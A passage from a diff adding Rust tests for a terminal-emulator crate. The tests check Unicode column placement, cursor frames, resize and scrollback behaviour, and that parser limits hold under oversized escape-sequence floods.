+/// which is how we learned the encoding was under-specified -- if the fixture +/// needs a Unicode table to decode the wire, so does every real consumer. +fn placements(spans: &[Span]) -> Vec<(usize, String)> { + let mut placed = Vec::new(); + for span in spans { + assert!( + span.counts_are_consistent(), + "encoder emitted an undecodable span: {span:?}" + ); + let clusters: Vec = if span.cluster_count == 1 { + vec![span.text.clone()] + } else { + span.text.chars().map(|c| c.to_string()).collect() + }; + for (i, cluster) in clusters.into_iter().enumerate() { + if cluster != " " { + placed.push((span.column + i * span.width as usize, cluster)); + } + } + } + placed +} + +/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must +/// land on the column the grid actually put it in. +#[test] +fn mixed_width_clusters_keep_their_columns() { + let (spans, _actions) = render("a\u{1F600}b\u{4E00}c"); + assert_eq!( + placements(&spans), + vec![ + (0, "a".into()), + (1, "\u{1F600}".into()), + (3, "b".into()), + (4, "\u{4E00}".into()), + (6, "c".into()), + ], + "wide glyphs must advance two columns and narrow ones must not" + ); +} + +/// A combining mark rides with its base character and consumes no column of +/// its own, so the text that follows must not be displaced by it. +/// +/// Against the previous encoding this row was a single span `"éxy"` at column +/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y` +/// at 2 -- both one column left of the truth. +#[test] +fn combining_marks_do_not_displace_following_text() { + let (spans, _actions) = render("e\u{0301}xy"); + assert_eq!( + placements(&spans), + vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),], + "a zerowidth mark must not consume a column" + ); +} + +/// A regional-indicator pair: two separate one-column cells. This is the case +/// that must split *per codepoint*. +#[test] +fn regional_indicator_flag_occupies_two_columns() { + let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X"); + assert_eq!( + placements(&spans), + vec![ + (0, "\u{1F1FA}".into()), + (1, "\u{1F1F8}".into()), + (2, "X".into()), + ], + "regional indicators are one column each; X must sit at 2" + ); +} + +/// A keycap: one cell holding three codepoints. This is the case that must +/// split *per grapheme* -- the opposite rule from the flag above, which is why +/// the width and the cluster break both have to come from the grid. +#[test] +fn keycap_occupies_one_column() { + let (spans, _actions) = render("1\u{FE0F}\u{20E3}X"); + assert_eq!( + placements(&spans), + vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),], + "a keycap is one column; X must sit at 1" + ); +} + +/// Width is uniform within a span by construction. Without this a consumer +/// cannot multiply -- it would have to know each cluster's width individually, +/// which is the Unicode table this design exists to avoid. +#[test] +fn a_span_never_mixes_widths() { + let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd"); + for span in &spans { + let expected = span.width; + assert!( + span.width == 1 || span.width == 2, + "width must be 1 or 2, got {expected}" + ); + } + let widths: Vec = spans.iter().map(|s| s.width).collect(); + assert!( + widths.contains(&2), + "fixture must actually produce a wide span, got {widths:?}" + ); + assert_eq!( + placements(&spans), + vec![ + (0, "a".into()), + (1, "b".into()), + (2, "\u{4E00}".into()), + (4, "\u{4E00}".into()), + (6, "c".into()), + (7, "d".into()), + ], + "two adjacent wide glyphs must advance two columns each" + ); +} + +/// `cluster_count` is what makes the wire decodable without a Unicode table, +/// so it is asserted directly here rather than only implied by placements. +/// +/// The decisive pair: both spans below are width 1 with more than one `char` +/// of text, and they differ *only* in whether the count tracks the char count. +/// A consumer without that number cannot tell them apart -- which is the +/// defect Mari caught in the previous encoding. +#[test] +fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() { + let (marked, _a) = render("e\u{0301}"); + let marked = marked.first().expect("a span must be emitted"); + assert_eq!(marked.text.chars().count(), 2, "base plus combining mark"); + assert_eq!(marked.cluster_count, 1, "one cluster occupying one column"); + + // The plain run absorbs the row's blank padding, so its length is the + // viewport width rather than 2 -- what matters is that the count tracks + // the char count instead of collapsing to 1. + let (plain, _b) = render("ab"); + let plain = plain.first().expect("a span must be emitted"); + assert!(plain.cluster_count > 1, "a plain run is not one cluster"); + assert_eq!( + usize::from(plain.cluster_count), + plain.text.chars().count(), + "one cluster per char" + ); + + assert_eq!(marked.width, plain.width, "both are width 1"); + assert!(marked.counts_are_consistent() && plain.counts_are_consistent()); +} + +/// The join guard has two halves: the previous cell must not have carried +/// marks (`open`), and the current cell must not carry them (`joinable`). +/// Every fixture above exercises only the first half -- a plain cluster +/// following a marked one. This one exercises the second: a *marked* cluster +/// arriving after a plain run, which is the only path on which the run in +/// progress is handed text holding more `char`s than the one cluster its +/// count is about to be incremented by. +/// +/// Sami found the hole. With `joinable` dropped from the guard, a release +/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`: +/// four chars counted as three, so the consumer's rule splits per char and +/// places the combining mark on top of `z`. +#[test] +fn a_marked_cluster_after_a_plain_run_starts_its_own_span() { + let (spans, _actions) = render("xye\u{0301}z"); + assert_eq!( + placements(&spans), + vec![ + (0, "x".into()), + (1, "y".into()), + (2, "e\u{0301}".into()), + (3, "z".into()), + ], + "a marked cluster must not be absorbed into the run in front of it" + ); +} + +/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize` +/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform +/// cells wider than `u16::MAX` reaches the join guard's overflow refusal. +/// The guard is live code, not paranoia, and this fixture is what says so. +/// +/// Refusing to join produces a shape the consumer already handles -- the run +/// ends and a new span starts at the next column -- whereas wrapping produces +/// an undecodable span, the same failure as the marked-after-plain case above. +#[test] +fn a_run_longer_than_u16_max_splits_rather_than_wrapping() { + let columns = 70_000; + let size = Size { + columns, + screen_lines: 1, + scrollback: 0, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // One character is enough: the rest of the row is blank cells of the same + // style, so the whole row is a single candidate run. + shared.feed_fully(b"a"); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let spans = &frame + .rows + .iter() + .find(|row| row.line == 0) + .expect("the fed row must be present") + .spans; + + assert!( + spans.iter().all(|span| span.counts_are_consistent()), + "an oversized run must not wrap its count: {spans:?}" + ); + let counts: Vec = spans.iter().map(|span| span.cluster_count).collect(); + let columns_at: Vec = spans.iter().map(|span| span.column).collect(); + assert_eq!( + counts, + vec![u16::MAX, (columns - u16::MAX as usize) as u16], + "the run must end at the last representable count" + ); + assert_eq!( + columns_at, + vec![0, u16::MAX as usize], + "the second span starts where the first left off" + ); + let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum(); + assert_eq!(chars, columns, "no cell may be dropped by the split"); +} + +/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream +/// `term/mod.rs:968`). That bit records where the text happened to wrap, not +/// how the text looks, so it must not reach the style key: if it did, the last +/// column of every wrapped row would split off into a span of its own -- an +/// extra wire record per wrapped line, and span boundaries that move when the +/// window is resized. +/// +/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR` +/// mask; this fixture is the proof that was missing from the source read. +#[test] +fn wrapping_does_not_split_a_uniform_run() { + let size = Size { + columns: 5, + screen_lines: 3, + scrollback: 100, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // Six narrow cells in one style: five fill row 0 and set WRAPLINE on the + // last of them, the sixth lands on row 1. + shared.feed_fully(b"abcdef"); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let first = frame + .rows + .iter() + .find(|row| row.line == 0) + .expect("wrapped row must be present"); + let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect(); + assert_eq!( + texts, + vec!["abcde"], + "a wrapped row of one style is one span; WRAPLINE must not break it" + ); +} + +/// A wide glyph at the last usable column wraps to the next row rather than +/// straddling the edge. The contract must hold on the wrapped row too. +#[test] +fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() { + let size = Size { + columns: 5, + screen_lines: 3, + scrollback: 100, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot + // fit and moves to the next row. + shared.feed_fully("abcd\u{4E00}".as_bytes()); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let second = frame + .rows + .iter() + .find(|row| row.line == 1) + .expect("wrapped row must be present"); + assert_eq!( + placements(&second.spans), + vec![(0, "\u{4E00}".into())], + "a wrapped wide glyph starts at column 0 of the next row" + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs new file mode 100644 index 0000000000..7e43505b72 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs @@ -0,0 +1,41 @@ +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{SharedTerminal, Size, Terminal}; + +#[test] +fn space_over_blank_cell_publishes_cursor_only_frame() { + let (terminal, _actions) = Terminal::new( + Size { + columns: 8, + screen_lines: 2, + scrollback: 10, + }, + Fences::ALL, + ); + let terminal = SharedTerminal::new(terminal); + let mut encoder = Encoder::new(); + + let initial = terminal.render(&mut encoder); + assert!(!initial.is_empty()); + assert_eq!(initial.cursor.column, 0); + + terminal.feed_fully(b" "); + let after_space = terminal.render(&mut encoder); + + assert!( + after_space.rows.is_empty(), + "a blank cell overwritten with a space must be row-deduplicated" + ); + assert_eq!(after_space.cursor.column, 1); + assert!(after_space.cursor_changed); + assert!( + !after_space.is_empty(), + "cursor movement must make the frame publishable" + ); + + let idle = terminal.render(&mut encoder); + assert!( + idle.is_empty(), + "an unchanged cursor must not create traffic" + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs new file mode 100644 index 0000000000..72bb8c2e6f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs @@ -0,0 +1,169 @@ +//! Mutation-sensitive byte fixtures for the two parser fences. +//! +//! These use the shipping `Terminal::feed` path. Arms that could be masked by +//! the other fence disable it explicitly; the switches are runtime values, not +//! cargo features, so the default test binary always contains every arm. + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::index::{Column, Line, Point}; +use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP}; +use buzz_terminal::{Size, Terminal}; + +const CHUNK: usize = 8192; +const G1_BYTES: usize = 2 << 20; +const G2_FRAMES: usize = 40; +const G2_FRAME_BYTES: usize = 1_900 * 1024; + +fn size() -> Size { + Size { + columns: 120, + screen_lines: 40, + scrollback: 2000, + } +} + +fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) { + term.feed_fully(b"\x1b[?2026h"); + for chunk in payload.chunks(CHUNK) { + term.feed_fully(chunk); + } + if close { + term.feed_fully(b"\x1b[?2026l"); + } +} + +fn repeated(pattern: &[u8], bytes: usize) -> Vec { + pattern.iter().copied().cycle().take(bytes).collect() +} + +fn count_markers(term: &Terminal, markers: usize) -> usize { + let grid = term.term().grid(); + let mut text = String::new(); + let top = -(grid.history_size() as i32); + for line in top..term.size().screen_lines as i32 { + for column in 0..term.size().columns { + text.push(grid[Point::new(Line(line), Column(column))].c); + } + text.push('\n'); + } + (0..markers) + .filter(|m| text.contains(&format!("MK{m:03}"))) + .count() +} + +fn legitimate_frame(markers: usize, bytes: usize) -> Vec { + let mut payload = Vec::with_capacity(bytes); + for marker in 0..markers { + payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes()); + let target = bytes * (marker + 1) / markers; + while payload.len() < target { + payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m"); + } + payload.extend_from_slice(b"\r\n"); + } + payload.truncate(bytes); + payload +} + +/// G1: every hostile content shape must remain below the deterministic byte +/// bound, and the same shape with F1 deleted must cross it. Keeping both arms +/// adjacent prevents a simplified fixture from becoming vacuously cheap. +#[test] +fn g1_sync_abort_bounds_all_hostile_shapes() { + let shapes: [(&str, &[u8]); 5] = [ + ("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"), + ("ascii", b"buzz substrate output\r\n"), + ("emoji", "🐝🚀✨\r\n".as_bytes()), + ("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()), + ("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"), + ]; + + for (name, pattern) in shapes { + let payload = repeated(pattern, G1_BYTES); + let (mut fenced, _) = Terminal::new(size(), Fences::ALL); + feed_synchronized(&mut fenced, &payload, false); + let fenced_stats = fenced.stats(); + assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired"); + assert!( + fenced_stats.max_release <= 2 * SYNC_CAP, + "{name}: fenced release {} exceeds 128 KiB", + fenced_stats.max_release + ); + + let (mut unfenced, _) = Terminal::new(size(), Fences::NONE); + feed_synchronized(&mut unfenced, &payload, false); + let unfenced_stats = unfenced.stats(); + assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1"); + assert!( + unfenced_stats.max_release > 2 * SYNC_CAP, + "{name}: unfenced release {} stayed inside the gate; fixture is vacuous", + unfenced_stats.max_release + ); + } +} + +/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2 +/// deletion under the combined production configuration. +#[test] +fn g2_hostile_unsynchronized_osc_resets_parser() { + let (mut term, _) = Terminal::new(size(), Fences::ALL); + term.feed_fully(b"\x1b]0;"); + for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) { + term.feed_fully(chunk); + } + assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser"); +} + +/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its +/// small abort releases cannot mask an implementation that omits ESU flushes. +#[test] +fn g2_each_synchronized_flush_is_attributed() { + let payload = repeated(b"A", G2_FRAME_BYTES); + let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY); + for _ in 0..G2_FRAMES { + feed_synchronized(&mut term, &payload, true); + } + let stats = term.stats(); + assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm"); + assert_eq!( + stats.osc_resets, G2_FRAMES as u64, + "expected one reset for each atomic synchronized release" + ); + assert!( + stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64, + "flush bytes were omitted from attribution: {} charged", + stats.charged_bytes + ); +} + +/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame. +/// F1 is disabled; raw-input counting would reset mid-frame and lose markers. +#[test] +fn g2_legitimate_large_frame_preserves_all_markers() { + let markers = 200; + let payload = legitimate_frame(markers, 1_500 * 1024); + let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY); + feed_synchronized(&mut term, &payload, true); + assert_eq!( + count_markers(&term, markers), + markers, + "legitimate frame lost markers" + ); +} + +/// Legitimacy control: neither fence alone nor the production combination may +/// corrupt a normal synchronized frame. +#[test] +fn g2_legitimate_frame_survives_each_fence_configuration() { + let markers = 200; + let payload = legitimate_frame(markers, 128 * 1024); + for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] { + let (mut term, _) = Terminal::new(size(), fences); + feed_synchronized(&mut term, &payload, true); + assert_eq!( + count_markers(&term, markers), + markers, + "{fences:?} lost markers" + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs new file mode 100644 index 0000000000..0edbefce19 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs @@ -0,0 +1,156 @@ +//! G3: the renderer's wait for the terminal lock, under flood. +//! +//! The plan originally required "reader hold < 16.7 ms". That requirement was +//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while +//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the +//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock +//! time and the p50 hold never sees them. What a human feels is the wait, so +//! that is what is gated here. +//! +//! F1 is the fence being tested. It is a memory bound *and* a latency fence: +//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's +//! wait falls with it. + +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{SharedTerminal, Size, Terminal}; + +/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is +/// a dropped frame regardless of how good the distribution looks. +/// +/// Unlike the p95 below, this bound **cannot be protected by headroom**, and +/// that asymmetry is why this test is `#[ignore]`d and run only in release on +/// an idle host. A quantile discards its worst samples by construction, so it +/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples +/// is a single observation, and any one scheduler preemption exceeds it. There +/// is no budget that makes the max arm robust to contention -- the tail it +/// catches belongs to the scheduler, not to this code. +/// +/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate +/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient +/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at +/// 38150 us. +/// +/// So the repair for a flake here is to fix the host, never to raise this +/// number. Raising it is the one change that silently removes the only assert +/// that catches the user-visible failure: a hitch is a max-event, and a +/// p95-only gate passes a run containing a 38 ms stall. +const FRAME_MICROS: u64 = 16_667; + +/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the +/// margin that lets *this* arm tolerate a loaded machine without becoming a +/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`. +const P95_MICROS: u64 = 4_000; + +/// Frames sampled per arm. Counted rather than timed: sample count under a +/// wall-clock budget is a function of how slow the arm is, so a duration-based +/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the +/// tail being measured lives. Counting frames makes both arms the same +/// experiment. +const FRAMES: u32 = 200; + +/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads. +/// +/// The payload's *shape* is the load-bearing part, and it cost me a wrong +/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an +/// update that was never closed. It floods just as many bytes per second, and +/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us +/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a +/// 2 MiB release is a short lock hold. +/// +/// What makes a release expensive is work per byte -- SGR state changes and +/// `\r\n` line feeds that push rows into scrollback. With that payload the same +/// experiment separates by 129x. So this gate is sensitive to input shape and +/// not merely to input rate, which is why the control below is not optional. +fn flood(shared: &SharedTerminal, stop: &AtomicBool) { + let mut payload: Vec = b"\x1b[?2026h".to_vec(); + while payload.len() < (2 << 20) { + payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n"); + } + payload.extend_from_slice(b"\x1b[?2026l"); + while !stop.load(Ordering::Relaxed) { + for chunk in payload.chunks(8192) { + if stop.load(Ordering::Relaxed) { + return; + } + shared.feed_fully(chunk); + } + } +} + +/// Render at 60 Hz for the duration of the flood, and report the renderer +/// plane's acquisition latencies. +fn measure(fences: Fences) -> buzz_terminal::AcquireStats { + let size = Size { + columns: 200, + screen_lines: 50, + scrollback: 10_000, + }; + let (term, _actions) = Terminal::new(size, fences); + let shared = Arc::new(SharedTerminal::new(term)); + let stop = Arc::new(AtomicBool::new(false)); + + let writer = { + let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop)); + thread::spawn(move || flood(&shared, &stop)) + }; + + // Don't measure the ramp: let the flood reach steady state, then clear. + thread::sleep(Duration::from_millis(200)); + shared.renderer_acquire().reset(); + + let mut encoder = Encoder::new(); + for _ in 0..FRAMES { + shared.render(&mut encoder); + thread::sleep(Duration::from_micros(FRAME_MICROS)); + } + let stats = shared.renderer_acquire().snapshot(); + + stop.store(true, Ordering::Relaxed); + writer.join().expect("flood thread panicked"); + + assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples"); + stats +} + +/// G3: with F1 on, the renderer's wait stays inside a frame -- and the +/// unfenced control shows the fence is what puts it there. +/// +/// Both arms live in one `#[test]` on purpose. As separate tests they run +/// concurrently by default, each with its own flood thread, so each arm's +/// measurement includes the other arm's CPU load and the control's ratio +/// becomes a race between two floods rather than a statement about F1. +#[test] +#[ignore = "native performance gate; run release-mode on a known-idle host"] +fn g3_renderer_acquire_stays_within_frame_budget() { + let fenced = measure(Fences::ALL); + let p95 = fenced.percentile_micros(0.95); + assert!( + p95 <= P95_MICROS, + "renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})", + fenced.max_micros, + fenced.acquisitions + ); + assert!( + fenced.max_micros <= FRAME_MICROS, + "renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})", + fenced.max_micros, + fenced.acquisitions + ); + + // The control. Without it this gate could pass because the fixture never + // contended -- green over an experiment that did not run. + let unfenced = measure(Fences::OSC_ONLY); + assert!( + unfenced.max_micros > fenced.max_micros.max(1) * 4, + "unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \ + renderer latency down, and this gate is measuring something else", + unfenced.max_micros, + fenced.max_micros + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs new file mode 100644 index 0000000000..6548de9b4d --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs @@ -0,0 +1,196 @@ +//! The resize seam: what a consumer is allowed to rely on across a reflow. +//! +//! The dedup encoder caches a hash per line. A resize reflows content into +//! rows of a different width, so those cached hashes describe a grid that no +//! longer exists -- if a resize did not force a full frame, dedup could +//! suppress a row whose content genuinely changed and leave the renderer +//! showing reflowed-away text. +//! +//! It does force one: upstream's `TermDamageState::resize` sets `full` +//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that +//! behaviour to the seam, because it is upstream's invariant and not ours. + +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel, and every subsequent listener send silently fails. These fixtures +/// don't assert on actions, but a fixture that quietly disables a code path is +/// how a future assertion gets written against a dead one. +fn shared(size: Size) -> (SharedTerminal, Receiver) { + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +fn size(columns: usize) -> Size { + Size { + columns, + screen_lines: 10, + scrollback: 1000, + } +} + +fn grid(columns: usize, screen_lines: usize) -> Size { + Size { + columns, + screen_lines, + scrollback: 1000, + } +} + +/// A resize invalidates dedup and republishes the whole grid at the new width. +#[test] +fn resize_forces_a_full_frame_at_the_new_width() { + let (shared, _actions) = shared(size(40)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n"); + + let first = shared.render(&mut encoder); + assert!(first.full, "first frame after a fresh Term must be full"); + assert_eq!(first.viewport.columns, 40); + assert_eq!(first.viewport.generation, 0); + + // Nothing changed: dedup suppresses everything. Without this the next + // assertion could pass simply because every frame is full. + let idle = shared.render(&mut encoder); + assert!(!idle.full, "an unchanged grid must not republish"); + assert!( + idle.rows.is_empty(), + "dedup let {} unchanged rows through", + idle.rows.len() + ); + + let applied = shared.resize(size(20)); + assert_eq!( + applied.columns, 20, + "resize did not report the grid it applied" + ); + assert_eq!( + applied.generation, 1, + "generation must advance across a resize" + ); + + let after = shared.render(&mut encoder); + assert!( + after.full, + "a resize must invalidate the renderer's cached rows" + ); + assert_eq!( + after.viewport, applied, + "frame's viewport disagrees with the one resize reported applying" + ); + assert_eq!(after.rows.len(), 10, "full frame must carry every line"); + let row0: String = after.rows[0] + .spans + .iter() + .map(|s| s.text.as_str()) + .collect(); + assert_eq!(row0.chars().count(), 20, "row emitted at the old width"); + assert!( + row0.starts_with("hello world"), + "content lost across reflow: {row0:?}" + ); +} + +/// A no-op resize is not a resize: it must not burn a generation, or every +/// `ResizeObserver` tick would look like a discontinuity to the consumer. +#[test] +fn identical_resize_is_inert() { + let (shared, _actions) = shared(size(40)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"hello"); + shared.render(&mut encoder); + + let applied = shared.resize(size(40)); + assert_eq!( + applied.generation, 0, + "a same-size resize advanced the generation" + ); + + let after = shared.render(&mut encoder); + assert_eq!(after.viewport, applied); + assert!( + !after.full, + "a same-size resize forced a needless full repaint" + ); +} + +/// A **full frame must carry every row**, including rows whose content is +/// byte-identical to what sat at that index before the resize. +/// +/// This is the arm that catches a dedup cache surviving a full frame, and the +/// width-changing fixture above does *not* catch it: changing the width changes +/// every row's cell contents, so the hashes differ and the rows are emitted for +/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows +/// hash exactly as before -- and a stale cache suppresses them right after the +/// consumer was told to discard what it had. The result is a renderer holding +/// nothing where content should be. +/// +/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0 +/// to row 1, so correctness here is not merely about frame bookkeeping. +#[test] +fn full_frame_after_height_resize_republishes_unchanged_rows() { + let (shared, _actions) = shared(grid(40, 10)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line"); + let first = shared.render(&mut encoder); + assert!(first.full); + assert_eq!(first.rows.len(), 10); + + shared.resize(grid(40, 20)); + let after = shared.render(&mut encoder); + assert!( + after.full, + "a resize must invalidate the renderer's cached rows" + ); + assert_eq!(after.viewport.screen_lines, 20); + assert_eq!( + after.rows.len(), + 20, + "full frame carried {} of 20 rows -- dedup suppressed rows the consumer \ + was simultaneously told to discard, leaving them blank", + after.rows.len() + ); +} + +/// A frame is stamped with the grid it was **captured on**, and a later resize +/// does not retroactively re-label it. +/// +/// This is the cross-transport race in the integration lane: frame delivery and +/// the resize call are separate paths, so a generation-N frame can arrive after +/// generation N+1 has been applied. Rejecting it requires the stamp to be +/// capture-time truth. +/// +/// Note what is and is not proven here. That an owned `Frame` cannot mutate is +/// guaranteed by the language, so asserting it against a copy of itself would +/// be tautological. What this asserts is that `capture()` stamps the viewport +/// as it was **at capture**, against explicit expected values -- a `capture()` +/// that read the viewport a moment later, or a `Frame` that carried a handle +/// back to the terminal, would fail here. +#[test] +fn a_frame_is_stamped_with_the_grid_it_was_captured_on() { + let (shared, _actions) = shared(grid(40, 10)); + let mut encoder = Encoder::new(); + shared.feed_fully(b"\x1b[2J\x1b[Hhello world"); + + let in_flight = shared.render(&mut encoder); + assert_eq!(in_flight.viewport.generation, 0); + assert_eq!(in_flight.viewport.columns, 40); + + let applied = shared.resize(grid(20, 10)); + assert_eq!(applied.generation, 1); + assert_eq!(applied.columns, 20); + + // The held frame still describes the pre-resize grid, so a consumer can + // compare the two and discard it rather than paint 40-column rows onto a + // 20-column grid. + assert_eq!( + in_flight.viewport.columns, 40, + "a frame captured before the resize describes the post-resize grid; \ + a stale frame arriving late would be indistinguishable from a fresh one" + ); + assert_eq!(in_flight.viewport.generation, 0); + assert_ne!(in_flight.viewport, applied); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs new file mode 100644 index 0000000000..22652884a6 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs @@ -0,0 +1,399 @@ +//! Reaching the scrollback the engine has always been keeping. +//! +//! The grid retains 10k lines in production and, before this, nothing could +//! move the viewport off the live edge. Three things have to hold at once for +//! that to become usable, and each one fails silently on its own: +//! +//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still +//! repaints. Only a human notices. So the direction is asserted here, in +//! test names, rather than left to the caller to get right. +//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from +//! the live edge. Off-by-the-offset shows *some* plausible text. +//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last +//! saw. Scrolling changes every row without changing the grid, so a scroll +//! that consumed the full-damage flag would leave those hashes describing +//! a viewport that is no longer shown -- and they would then suppress a row +//! that really did change. + +use buzz_terminal::damage::{Encoder, Frame}; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn terminal( + columns: usize, + screen_lines: usize, + scrollback: usize, +) -> (SharedTerminal, Receiver) { + let size = Size { + columns, + screen_lines, + scrollback, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + (SharedTerminal::new(term), actions) +} + +/// The text of every row the frame carries, indexed by screen row. +/// +/// Blank rows are kept as empty strings rather than filtered out: this suite +/// is about *which row shows which line*, and dropping the blanks would +/// renumber every row after one. +fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> { + frame + .rows + .iter() + .map(|row| { + ( + row.line, + row.spans + .iter() + .map(|span| span.text.as_str()) + .collect::() + .trim_end() + .to_string(), + ) + }) + .collect() +} + +/// Just the text, in screen order. Only meaningful for a full frame. +fn screen(frame: &Frame) -> Vec { + rows_by_line(frame) + .into_iter() + .map(|(_, text)| text) + .collect() +} + +/// Fill history with numbered lines, then take a caught-up renderer. +/// +/// Returns the terminal and an encoder that has already consumed the damage +/// from that output, so anything a later assertion sees is caused by the +/// thing under test rather than by the fixture. +fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver, Encoder) { + let (shared, actions) = terminal(20, 4, 100); + let payload = (1..=lines) + .map(|n| format!("L{n:02}")) + .collect::>() + .join("\r\n"); + shared.feed_fully(payload.as_bytes()); + let mut renderer = Encoder::new(); + let _ = shared.render(&mut renderer); + (shared, actions, renderer) +} + +#[test] +fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() { + let (shared, _actions, _) = scrolled_terminal(10); + let mut encoder = Encoder::new(); + assert_eq!( + screen(&shared.snapshot(&mut encoder)), + vec!["L07", "L08", "L09", "L10"] + ); + assert_eq!(shared.lock().display_offset(), 0); +} + +/// **The direction, at the engine boundary.** Positive goes *into* history. +/// +/// This is upstream's convention and the reason the embedder negates the DOM +/// delta exactly once. If this assertion and `terminal_scroll`'s negation are +/// ever flipped together the pair 